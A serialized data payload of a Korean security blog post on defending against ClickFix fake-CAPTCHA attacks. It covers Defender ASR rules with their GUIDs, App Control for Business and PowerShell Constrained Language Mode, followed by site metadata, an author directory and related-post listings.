실시간 보호와 Behavior Monitoring이 필요합니다.",[534,886,887],{},"ClickFix에 대해 관련 있는 Attack Surface Reduction 규칙은 최소 다섯 가지입니다.",[568,889,891],{"style":890},"margin: 0.5rem 0 2rem; overflow-x: auto",[892,893,807,895,807,914],"table",{"style":894},"width:100%; border-collapse: collapse; font-size: 0.85rem",[896,897,898,899,807],"thead",{},"\n    ",[900,901,902,903,902,908,902,911,898],"tr",{},"\n      ",[904,905,907],"th",{"style":906},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","규칙",[904,909,910],{"style":906},"GUID",[904,912,913],{"style":906},"ClickFix 관련성",[915,916,898,917,898,933,898,948,898,961,898,974,807],"tbody",{},[900,918,902,919,902,924,902,930,898],{},[920,921,923],"td",{"style":922},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","잠재적으로 난독화된 스크립트의 실행 차단",[920,925,927],{"style":926},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa; white-space: nowrap",[551,928,929],{},"5beb7efe-fd9a-4556-801d-275e5ffc04cc",[920,931,932],{"style":922},"실행 및 회피 단계의 난독화 또는 인코딩된 스크립트",[900,934,902,935,902,939,902,945,898],{},[920,936,938],{"style":937},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","JavaScript 또는 VBScript가 내려받은 실행 가능 콘텐츠를 시작하지 못하게 차단",[920,940,942],{"style":941},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff; white-space: nowrap",[551,943,944],{},"d3e037e1-3eb8-44c8-a917-57927947596d",[920,946,947],{"style":937},"내려받은 페이로드를 시작하는 WSH, .js 또는 .vbs",[900,949,902,950,902,953,902,958,898],{},[920,951,952],{"style":922},"실행 파일을 유병률, 사용 기간 또는 신뢰 목록 기준을 충족할 때만 허용",[920,954,955],{"style":926},[551,956,957],{},"01443614-cd74-433a-b99e-2ecdc07bfc25",[920,959,960],{"style":922},"새로 생성되었거나 드물게 드롭된 실행 파일",[900,962,902,963,902,966,902,971,898],{},[920,964,965],{"style":937},"메일 클라이언트와 웹메일에서 오는 실행 가능 콘텐츠 차단",[920,967,968],{"style":941},[551,969,970],{},"be9ba2d9-53ea-4cdc-84e5-9b1eeee46550",[920,972,973],{"style":937},"이메일로 전달되는 ClickFix 변종",[900,975,902,976,902,979,902,984,898],{},[920,977,978],{"style":922},"모든 Office 애플리케이션이 하위 프로세스를 생성하지 못하게 차단",[920,980,981],{"style":926},[551,982,983],{},"d4f940ab-401b-4efc-aadc-ad5f3c50688a",[920,985,986],{"style":922},"인터프리터를 시작하는 Office 미끼 변종",[534,988,989],{},"ASR은 먼저 감사 모드로 배포하고, 그다음 파일럿으로, 그다음 차단 모드로 진행하십시오. Tamper Protection이 마지막 선입니다. 공격자가 여러분의 탐지를 끄지 못하게 막아 줍니다.",[534,991,992],{},"PowerShell 자체에서는 레거시 인터프리터를 통해 위험을 줄입니다. 가능한 곳에서는 최신 버전의 로깅 및 보안 기능이 없는 Windows PowerShell 2.0과 레거시 VBScript 구성 요소를 식별해 제거하십시오. 다음 단계는 Constrained Language Mode(CLM)로, PowerShell에서 사용할 수 있는 언어 요소를 제한하고 스크립트 기반 기법을 상당수 차단합니다. CLM이 견고한 보안 가치를 갖는 것은 시스템 애플리케이션 제어 정책이 이를 강제할 때뿐입니다(App Control for Business). 환경 변수와 AppLocker를 통한 방식은 더 약하고 우회할 수 있습니다. 그리고 소프트웨어 배포 도구처럼 많은 시스템이 작동을 위해 Full Language Mode를 필요로 하기 때문에, CLM은 흔히 선별된 환경에서만 실행 가능합니다.",[534,994,995],{},"이로써 App Control for Business(이전의 WDAC)에 이릅니다. App Control은 어떤 실행 파일과 스크립트, 드라이버가 실행될 수 있는지에 대한 코드 무결성 정책을 강제합니다. 전략적 태도는 Default-Deny에 Microsoft가 권장하는 Block Rules, 즉 알려진 LOLBin 및 우회 차단 목록을 더하는 것입니다. App Control은 PowerShell CLM을 위한 올바른 강제 경로이기도 합니다. Script Enforcement는 MSHTA와 MSXML 스크립트 호스트를 차단하고, PowerShell을 CLM으로 밀어넣으며, 허용되지 않은 Windows Script Host 사용을 차단합니다. 몇 가지 동작상의 사실이 중요합니다.",[804,997,807,998,807,1001,807,1004],{"style":806},[809,999,1000],{},"Windows를 신뢰하는 Base Policy는 신뢰된 LOLBin을 자동으로 차단하지 않습니다. 알려진 우회를 막으려면 Microsoft가 권장하는 Block Rules를 병합해야 합니다.",[809,1002,1003],{},"App Control은 서명된 powershell.exe나 cmd.exe의 실행 자체를 막지 않습니다. 이들이 무엇을 할 수 있는지를 제한하며(CLM, 서명되지 않았거나 허용되지 않은 페이로드 금지), cmd.exe나 .bat, .cmd의 내용은 통제하지 않습니다. 그래서 단독으로 쓰이지 않고 ASR과 실행 강화와 함께 계층적으로 사용됩니다.",[809,1005,1006],{},"감사 모드는 중립적이지 않습니다. Script Enforcement는 감사 모드에서도 MSHTA와 MSXML의 실행을 차단하고 PowerShell CLM 동작을 바꿀 수 있습니다. 그래서 App Control은 감사 모드에서도 첫 배포 단계부터 파일럿이나 링으로 범위를 제한해야 하며, 결코 전체 단말에 적용해서는 안 됩니다.",[534,1008,1009],{},"App Control은 인터프리터와 LOLBin, 페이로드 실행 단계에 대해 가장 높은 확신을 주는 단일 통제 수단이며, 견고한 CLM을 강제합니다. 동시에 배포 복잡성과 롤백 위험도 가장 높습니다. 잘못 구성하면 실행이 차단되기 때문입니다. 통제된 파일럿 링을 통해 도입하십시오.",[529,1011,1013],{"id":1012},"저희가-나서는-지점","저희가 나서는 지점",[534,1015,536],{},[534,1017,1018,1019,1023],{},"ClickFix는 빠르며, Microsoft의 네이티브 탐지는 대부분을 커버하지만 전부는 아닙니다. 저희 CSOC 고객을 위해 저희는 공백이 나타나는 지점에서 커버리지를 계속 확장합니다. Windows Terminal을 통한 실행, RAT 기반 지원 사기, 그리고 침해 이후의 행위입니다. 여러분의 환경이 어디에 서 있는지 알고 싶으시다면 ",[1020,1021,1022],"a",{"href":276},"연락 주십시오",".",[1025,1026,1027],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":577,"searchDepth":677,"depth":677,"links":1029},[1030,1031,1032,1033,1034,1035,1036,1037,1038],{"id":531,"depth":677,"text":532},{"id":615,"depth":677,"text":616},{"id":627,"depth":677,"text":628},{"id":650,"depth":677,"text":651},{"id":763,"depth":677,"text":764},{"id":793,"depth":677,"text":794},{"id":830,"depth":677,"text":831},{"id":846,"depth":677,"text":847},{"id":1012,"depth":677,"text":1013},"md","post",{"lang":1042,"seoTitle":1043,"titleClass":1044,"date":1045,"categories":1046,"blogtitlepic":1048,"socialimg":1049,"customExcerpt":1050,"keywords":1051,"asideNav":1052,"published":325},"ko","ClickFix 공격 탐지와 차단: Win+R 붙여넣기 트릭","h2-font-size","2026-09-21",[1047],"Security","head-clickfix.jpg","/blog/heads/head-clickfix.jpg","ClickFix는 사용자를 자기 자신의 공격자로 만듭니다. 가짜 CAPTCHA 하나, 복사·붙여넣기 한 번으로 악성 코드가 메모리에서 실행되고, 디스크에는 아무것도 남지 않습니다. Microsoft Defender가 이 공격을 어떻게 탐지하는지, 탐지가 어디서 한계에 부딪히는지, 그리고 RunMRU 헌트와 네 개의 보호 레이어로 그 공백을 어떻게 메우는지 살펴봅니다.","ClickFix, ClickFix 공격, ClickFix 탐지, ClickFix 차단, 가짜 CAPTCHA, Win+R 공격, RunMRU KQL, Microsoft Defender, Attack Surface Reduction, ASR 규칙, App Control for Business, WDAC, Constrained Language Mode, Network Protection, AMSI, Endpoint Privilege Management, 인포스틸러, LOLBin, PowerShell 강화",{"menuItems":1053},[1054,1057,1060,1063,1066,1069,1072,1075,1078],{"href":1055,"text":1056},"#clickfix-공격-체인","공격 체인",{"href":1058,"text":1059},"#microsoft-defender가-탐지하는-것","Defender가 탐지하는 것",{"href":1061,"text":1062},"#네이티브-탐지가-한계에-부딪히는-지점","걸리는 지점",{"href":1064,"text":1065},"#이-공백을-메우기-runmru-헌트","공백 메우기",{"href":1067,"text":1068},"#보호-레이어-1-전달을-차단하기","레이어 1: 전달",{"href":1070,"text":1071},"#보호-레이어-2-속임수를-차단하기","레이어 2: 속임수",{"href":1073,"text":1074},"#보호-레이어-3-동작을-차단하기","레이어 3: 동작",{"href":1076,"text":1077},"#보호-레이어-4-실행을-차단하기","레이어 4: 실행",{"href":1079,"text":1013},"#저희가-나서는-지점","/posts/2026-09-21-clickfix-prevent-detect",{"title":521,"description":577},"posts/2026-09-21-clickfix-prevent-detect",[1084,1085,1086],"Defender","SOC","Endpoint Security","1dZMrBALextlE5bKaxwf4YPjS1m4HZnWM-IBwmx6_1g",{"id":1089,"extension":1090,"meta":1091,"stem":8,"__hash__":1440},"authors_data/authors.json","json",{"path":1092,"Fritz Zurhorst":1093,"Alexander Schlindwein":1098,"Sophie Luna":1104,"Nadine Klein":1112,"Karsten Kleinschmidt":1117,"Julian Wendt":1125,"Holger Bunkradt":1130,"Ralf Mania":1136,"Oliver Kieselbach":1142,"Steffen Schwerdtfeger":1148,"Gunnar Winter":1156,"Jan Petersen":1161,"Thorsten Kunzi":1166,"Moritz Pohl":1170,"Thorben Pöschus":1175,"Christoph Hannebauer":1181,"Marco Scheel":1185,"Christopher Brumm":1190,"Florian Klante":1197,"Niklas Bachmann":1202,"Nils Krautkrämer":1207,"Patrick Treptau":1213,"Peter Beckendorf":1218,"Patrick Sobau":1223,"Jörg Wunderlich":1228,"Michael Breither":1232,"Christian Kanja":1237,"Zeba Hoffmann":1243,"Jochen Fröhlich":1248,"Jan Geisbauer":1252,"Gerrit Reinke":1264,"Christian Kordel":1270,"Stephan Wälde":1274,"Carolin Kanja":1279,"Adrian Ritter":1285,"Marvin Bangert":1290,"Thorsten Pickhan":1296,"Christian Lorenz":1302,"Denis Böhm":1307,"Fabian Bader":1312,"Juan Jose Fernandez Perez":1318,"Mahschid Sayyar":1323,"Benjamin Dassow":1328,"Markus Walschburger":1333,"Jonathan Haist":1338,"Daniel Rohregger":1343,"Thomas Naunheim":1348,"Florian Stöckl":1353,"Pascal Asch":1358,"Markus Kättner":1363,"Anna Ulbricht":1370,"Annette Brauns":1377,"body":1383,"title":1439},"/authors",{"display_name":523,"avatar":1094,"permalink":1095,"linkedin":1096,"imageOffsetTop":1097},"people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":1099,"avatar":1100,"permalink":1101,"twitter":1102,"linkedin":1103},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":1105,"avatar":1106,"permalink":1107,"twitter":1108,"linkedin":1109,"imageOffsetLeft":1110,"imageOffsetTop":1111},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":524,"avatar":1113,"permalink":1114,"twitter":1115,"linkedin":1116,"imageOffsetTop":1097},"people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":1118,"avatar":1119,"permalink":1120,"twitter":1121,"linkedin":1122,"imageOffsetTop":1123,"imageOffsetLeft":1124},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":1126,"avatar":1127,"permalink":1128,"linkedin":1129},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":1131,"avatar":1132,"permalink":1133,"linkedin":1134,"twitter":1135},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":1137,"avatar":1138,"permalink":1139,"linkedin":1140,"twitter":1141},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":1143,"avatar":1144,"permalink":1145,"linkedin":1146,"twitter":1147},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":1149,"avatar":1150,"permalink":1151,"linkedin":1152,"twitter":1153,"imageOffsetTop":1154,"imageOffsetLeft":1155},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":1157,"avatar":1158,"permalink":1159,"twitter":1108,"linkedin":1160},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":1162,"avatar":1163,"permalink":1164,"twitter":1108,"linkedin":1165},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":1167,"avatar":1168,"permalink":1169,"twitter":1108,"linkedin":1160,"imageOffsetTop":1097},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":1171,"avatar":1172,"permalink":1173,"twitter":1108,"linkedin":1174},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":1176,"avatar":1177,"permalink":1178,"twitter":1179,"linkedin":1180},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":1182,"avatar":1183,"permalink":1184,"twitter":1108,"linkedin":1160,"imageOffsetTop":1097},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":1186,"avatar":1187,"permalink":1188,"twitter":1189,"linkedin":1189},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":1191,"avatar":1192,"permalink":1193,"twitter":1194,"linkedin":1195,"imageOffsetTop":1196},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":1198,"avatar":1199,"permalink":1200,"linkedin":1201,"twitter":1108},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":1203,"avatar":1204,"permalink":1205,"linkedin":1206,"twitter":1108},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":1208,"avatar":1209,"permalink":1210,"twitter":1211,"linkedin":1212},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":1214,"avatar":1215,"permalink":1216,"linkedin":1217,"twitter":1108},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":1219,"avatar":1220,"permalink":1221,"linkedin":1222,"twitter":1108,"imageOffsetTop":1097},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":1224,"avatar":1225,"permalink":1226,"linkedin":1227,"twitter":1108},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":1229,"avatar":1230,"permalink":1231,"twitter":1108},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":1233,"avatar":1234,"permalink":1235,"twitter":1108,"linkedin":1236},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":1238,"avatar":1239,"permalink":1240,"twitter":1241,"linkedin":1242},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":1244,"avatar":1245,"permalink":1246,"linkedin":1247,"twitter":1108},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":1249,"avatar":1250,"permalink":1251,"twitter":1108,"linkedin":1160},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":1253,"avatar":1254,"permalink":1255,"twitter":1256,"linkedin":1256,"imageOffsetTop":1097,"socials":1257},"Jan Geisbauer","people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[1258,1261],{"text":1259,"href":1260},"Blog","https://emptydc.com",{"text":1262,"href":1263},"Podcast","https://hairlessinthecloud.com",{"display_name":1265,"avatar":1266,"permalink":1267,"twitter":1268,"linkedin":1269},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":1271,"avatar":1272,"permalink":1273,"twitter":1108,"linkedin":1160},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":1275,"avatar":1276,"permalink":1277,"twitter":1278,"linkedin":1160},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":1280,"avatar":1281,"permalink":1282,"twitter":1283,"linkedin":1284},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":1286,"avatar":1287,"permalink":1288,"twitter":1289,"linkedin":1289},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":1291,"avatar":1292,"permalink":1293,"twitter":1294,"linkedin":1295},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":1297,"avatar":1298,"permalink":1299,"twitter":1300,"linkedin":1301},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":1303,"avatar":1304,"permalink":1305,"linkedin":1306,"twitter":1108},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":1308,"avatar":1309,"permalink":1310,"linkedin":1311,"twitter":1108},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":1313,"avatar":1314,"permalink":1315,"linkedin":1316,"twitter":1317},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":1319,"avatar":1320,"permalink":1321,"linkedin":1322},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":1324,"avatar":1325,"permalink":1326,"linkedin":1327},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":1329,"avatar":1330,"permalink":1331,"linkedin":1332},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":1334,"avatar":1335,"permalink":1336,"linkedin":1337},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":1339,"avatar":1340,"permalink":1341,"linkedin":1342,"imageOffsetTop":1097},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":1344,"avatar":1345,"permalink":1346,"linkedin":1347,"imageOffsetTop":1097},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":1349,"avatar":1350,"permalink":1351,"linkedin":1352,"imageOffsetTop":1196},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":1354,"avatar":1355,"permalink":1356,"linkedin":1357,"imageOffsetTop":1196},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":1359,"avatar":1360,"permalink":1361,"linkedin":1362,"imageOffsetTop":1196},"Pascal Asch","people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":1364,"avatar":1365,"permalink":1366,"linkedin":1367,"imageOffsetTop":1368,"imageOffsetLeft":1369},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":1371,"avatar":1372,"permalink":1373,"linkedin":1374,"imageOffsetTop":1375,"imageOffsetLeft":1376},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":1378,"avatar":1379,"permalink":1380,"linkedin":1381,"imageOffsetTop":1382,"imageOffsetLeft":1123},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":1384,"Alexander Schlindwein":1385,"Sophie Luna":1386,"Nadine Klein":1387,"Karsten Kleinschmidt":1388,"Julian Wendt":1389,"Holger Bunkradt":1390,"Ralf Mania":1391,"Oliver Kieselbach":1392,"Steffen Schwerdtfeger":1393,"Gunnar Winter":1394,"Jan Petersen":1395,"Thorsten Kunzi":1396,"Moritz Pohl":1397,"Thorben Pöschus":1398,"Christoph Hannebauer":1399,"Marco Scheel":1400,"Christopher Brumm":1401,"Florian Klante":1402,"Niklas Bachmann":1403,"Nils Krautkrämer":1404,"Patrick Treptau":1405,"Peter Beckendorf":1406,"Patrick Sobau":1407,"Jörg Wunderlich":1408,"Michael Breither":1409,"Christian Kanja":1410,"Zeba Hoffmann":1411,"Jochen Fröhlich":1412,"Jan Geisbauer":1413,"Gerrit Reinke":1417,"Christian Kordel":1418,"Stephan Wälde":1419,"Carolin Kanja":1420,"Adrian Ritter":1421,"Marvin Bangert":1422,"Thorsten Pickhan":1423,"Christian Lorenz":1424,"Denis Böhm":1425,"Fabian Bader":1426,"Juan Jose Fernandez Perez":1427,"Mahschid Sayyar":1428,"Benjamin Dassow":1429,"Markus Walschburger":1430,"Jonathan Haist":1431,"Daniel Rohregger":1432,"Thomas Naunheim":1433,"Florian Stöckl":1434,"Pascal Asch":1435,"Markus Kättner":1436,"Anna Ulbricht":1437,"Annette Brauns":1438},{"display_name":523,"avatar":1094,"permalink":1095,"linkedin":1096,"imageOffsetTop":1097},{"display_name":1099,"avatar":1100,"permalink":1101,"twitter":1102,"linkedin":1103},{"display_name":1105,"avatar":1106,"permalink":1107,"twitter":1108,"linkedin":1109,"imageOffsetLeft":1110,"imageOffsetTop":1111},{"display_name":524,"avatar":1113,"permalink":1114,"twitter":1115,"linkedin":1116,"imageOffsetTop":1097},{"display_name":1118,"avatar":1119,"permalink":1120,"twitter":1121,"linkedin":1122,"imageOffsetTop":1123,"imageOffsetLeft":1124},{"display_name":1126,"avatar":1127,"permalink":1128,"linkedin":1129},{"display_name":1131,"avatar":1132,"permalink":1133,"linkedin":1134,"twitter":1135},{"display_name":1137,"avatar":1138,"permalink":1139,"linkedin":1140,"twitter":1141},{"display_name":1143,"avatar":1144,"permalink":1145,"linkedin":1146,"twitter":1147},{"display_name":1149,"avatar":1150,"permalink":1151,"linkedin":1152,"twitter":1153,"imageOffsetTop":1154,"imageOffsetLeft":1155},{"display_name":1157,"avatar":1158,"permalink":1159,"twitter":1108,"linkedin":1160},{"display_name":1162,"avatar":1163,"permalink":1164,"twitter":1108,"linkedin":1165},{"display_name":1167,"avatar":1168,"permalink":1169,"twitter":1108,"linkedin":1160,"imageOffsetTop":1097},{"display_name":1171,"avatar":1172,"permalink":1173,"twitter":1108,"linkedin":1174},{"display_name":1176,"avatar":1177,"permalink":1178,"twitter":1179,"linkedin":1180},{"display_name":1182,"avatar":1183,"permalink":1184,"twitter":1108,"linkedin":1160,"imageOffsetTop":1097},{"display_name":1186,"avatar":1187,"permalink":1188,"twitter":1189,"linkedin":1189},{"display_name":1191,"avatar":1192,"permalink":1193,"twitter":1194,"linkedin":1195,"imageOffsetTop":1196},{"display_name":1198,"avatar":1199,"permalink":1200,"linkedin":1201,"twitter":1108},{"display_name":1203,"avatar":1204,"permalink":1205,"linkedin":1206,"twitter":1108},{"display_name":1208,"avatar":1209,"permalink":1210,"twitter":1211,"linkedin":1212},{"display_name":1214,"avatar":1215,"permalink":1216,"linkedin":1217,"twitter":1108},{"display_name":1219,"avatar":1220,"permalink":1221,"linkedin":1222,"twitter":1108,"imageOffsetTop":1097},{"display_name":1224,"avatar":1225,"permalink":1226,"linkedin":1227,"twitter":1108},{"display_name":1229,"avatar":1230,"permalink":1231,"twitter":1108},{"display_name":1233,"avatar":1234,"permalink":1235,"twitter":1108,"linkedin":1236},{"display_name":1238,"avatar":1239,"permalink":1240,"twitter":1241,"linkedin":1242},{"display_name":1244,"avatar":1245,"permalink":1246,"linkedin":1247,"twitter":1108},{"display_name":1249,"avatar":1250,"permalink":1251,"twitter":1108,"linkedin":1160},{"display_name":1253,"avatar":1254,"permalink":1255,"twitter":1256,"linkedin":1256,"imageOffsetTop":1097,"socials":1414},[1415,1416],{"text":1259,"href":1260},{"text":1262,"href":1263},{"display_name":1265,"avatar":1266,"permalink":1267,"twitter":1268,"linkedin":1269},{"display_name":1271,"avatar":1272,"permalink":1273,"twitter":1108,"linkedin":1160},{"display_name":1275,"avatar":1276,"permalink":1277,"twitter":1278,"linkedin":1160},{"display_name":1280,"avatar":1281,"permalink":1282,"twitter":1283,"linkedin":1284},{"display_name":1286,"avatar":1287,"permalink":1288,"twitter":1289,"linkedin":1289},{"display_name":1291,"avatar":1292,"permalink":1293,"twitter":1294,"linkedin":1295},{"display_name":1297,"avatar":1298,"permalink":1299,"twitter":1300,"linkedin":1301},{"display_name":1303,"avatar":1304,"permalink":1305,"linkedin":1306,"twitter":1108},{"display_name":1308,"avatar":1309,"permalink":1310,"linkedin":1311,"twitter":1108},{"display_name":1313,"avatar":1314,"permalink":1315,"linkedin":1316,"twitter":1317},{"display_name":1319,"avatar":1320,"permalink":1321,"linkedin":1322},{"display_name":1324,"avatar":1325,"permalink":1326,"linkedin":1327},{"display_name":1329,"avatar":1330,"permalink":1331,"linkedin":1332},{"display_name":1334,"avatar":1335,"permalink":1336,"linkedin":1337},{"display_name":1339,"avatar":1340,"permalink":1341,"linkedin":1342,"imageOffsetTop":1097},{"display_name":1344,"avatar":1345,"permalink":1346,"linkedin":1347,"imageOffsetTop":1097},{"display_name":1349,"avatar":1350,"permalink":1351,"linkedin":1352,"imageOffsetTop":1196},{"display_name":1354,"avatar":1355,"permalink":1356,"linkedin":1357,"imageOffsetTop":1196},{"display_name":1359,"avatar":1360,"permalink":1361,"linkedin":1362,"imageOffsetTop":1196},{"display_name":1364,"avatar":1365,"permalink":1366,"linkedin":1367,"imageOffsetTop":1368,"imageOffsetLeft":1369},{"display_name":1371,"avatar":1372,"permalink":1373,"linkedin":1374,"imageOffsetTop":1375,"imageOffsetLeft":1376},{"display_name":1378,"avatar":1379,"permalink":1380,"linkedin":1381,"imageOffsetTop":1382,"imageOffsetLeft":1123},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":1442,"authors":1648},[1443,1459,1464,1478,1494,1507,1520,1533,1545,1561,1575,1590,1608,1619,1632],{"id":1444,"title":1445,"author":1446,"cta":494,"description":577,"hideInRecent":484,"layout":1040,"meta":1447,"moment":1451,"path":1452,"stem":1453,"tags":1454,"webcast":484},"content_ko/posts/2026-09-22-end-of-mfa-sms.md","MFA SMS의 종말",[1118],{"lang":1042,"date":1045,"categories":1448,"blogtitlepic":1449,"customExcerpt":1450},[1047],"head-conditional-access.jpg","기업이 지금 피싱에 강하고 가능한 한 비밀번호 없는 인증 방식으로 전환해야 하는 이유.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[1047,1455,1456,1457,1458],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":520,"title":521,"author":1460,"cta":494,"description":577,"hideInRecent":484,"layout":1040,"meta":1461,"moment":1045,"path":1080,"stem":1082,"tags":1463,"webcast":484},[523,524],{"lang":1042,"date":1045,"categories":1462,"blogtitlepic":1048,"customExcerpt":1050},[1047],[1084,1085,1086],{"id":1465,"title":1466,"author":1467,"cta":494,"description":577,"hideInRecent":484,"layout":1040,"meta":1468,"moment":1045,"path":1472,"stem":1473,"tags":1474,"webcast":484},"content_ko/posts/2026-09-21-red-tenant-dark-tenant-cio.md","관리 업무와 일상 업무를 한 컴퓨터에서? Game Over.",[1253],{"lang":1042,"date":1045,"categories":1469,"blogtitlepic":1470,"customExcerpt":1471},[1047],"head-game-over-en.jpg","CIO에게 테넌트 하나로는 충분하지 않은 이유, 그리고 두 번째 테넌트가 좀처럼 함께 고려되지 않는 이유입니다. Managed Red Tenant는 관리 업무를 오피스 환경으로부터 아키텍처 차원에서 분리하고, Managed Dark Tenant는 방어가 무너졌을 때도 기업이 계속 움직일 수 있게 합니다. 이것이 운영 모델과 SOC 신호, 그리고 NISG 2026에 따른 입증 의무에 어떤 의미를 갖는지 살펴봅니다.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[1047,1475,1476,1477],"Privileged Access","Zero Trust","NIS2",{"id":1479,"title":1480,"author":1481,"cta":494,"description":1482,"hideInRecent":484,"layout":1040,"meta":1483,"moment":1484,"path":1489,"stem":1490,"tags":1491,"webcast":484},"content_ko/posts/2026-08-08-isg-germany-2026.md","네 번의 Leader. ISG 독일 연구 2026 속 